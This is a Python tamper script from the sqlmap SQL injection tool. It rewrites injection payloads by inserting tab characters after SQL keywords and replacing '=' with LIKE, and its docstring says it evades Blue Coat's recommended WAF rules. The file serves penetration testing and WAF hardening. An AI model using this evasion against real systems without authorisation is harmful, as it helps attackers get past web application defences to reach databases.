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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces the space following an SQL statement with a random valid blank character, then converts = to LIKE
Requirement:
* Blue Coat SGOS with WAF activated as documented in
https://kb.bluecoat.com/index?page=content&id=FAQ2147
Tested against:
* MySQL 5.1, SGOS
Notes:
* Useful to bypass Blue Coat's recommended WAF rule configuration
>>> tamper('SELECT id FROM users WHERE id = 1')
'SELECT%09id FROM%09users WHERE%09id LIKE 1'
"""
def process(match):
word = match.group('word')
if word.upper() in kb.keywords:
return match.group().replace(word, "%s%%09" % word)
else:
return match.group()
retVal = payload
if payload:
retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", process, retVal)
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
retVal = retVal.replace("%09 ", "%09")
return retVal
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